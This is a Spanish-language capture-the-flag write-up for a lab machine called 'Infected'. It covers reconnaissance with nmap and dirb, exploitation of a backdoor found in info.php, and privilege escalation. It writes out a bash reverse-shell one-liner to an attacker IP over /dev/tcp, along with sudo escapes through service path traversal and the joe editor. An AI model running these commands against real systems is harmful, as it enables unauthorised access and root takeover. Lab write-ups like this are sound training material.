> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/infected.md).
# Infected
### 🔍 **RECONOCIMIENTO**
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
```bash
ping -c 1 192.168.1.72
```
para verificar la conectividad de red.
A continuación, se realiza el comando:
```bash
nmap -p- --open 192.168.1.72 --min-rate 5000 -n
```
para realizar un escaneo de puertos y servicios detallado en la dirección IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.
### 🔎 **EXPLORACIÓN**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.72
```
para obtener más información sobre ese puerto específicamente.
Revisamos el puerto 80 que es la página por defecto de Apache.
Revisamos directorios.
```bash
dirb http://192.168.1.72
```
Revisamos el **info.php**.
### 🚀 **EXPLOTACIÓN**
Revisando más a fondo encontramos que es un **Backdoor**.
{% @github-files/github-code-block url="" %}
Ejecutamos.
```bash
./exploit.py 192.168.1.72 80
```
Lanzamos un RCE.
```bash
bash -c "bash -i >& /dev/tcp/192.168.1.65/443 0>&1"
```
### 🔐 PRIVILEGIOS
Al estar dentro y ejecutar:
```bash
whoami
```
aún no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
{% embed url="" %}
```bash
sudo -u laurent /usr/sbin/service ../../bin/sh
```
{% embed url="" %}
```bash
sudo /usr/bin/joe
^K!/bin/bash
```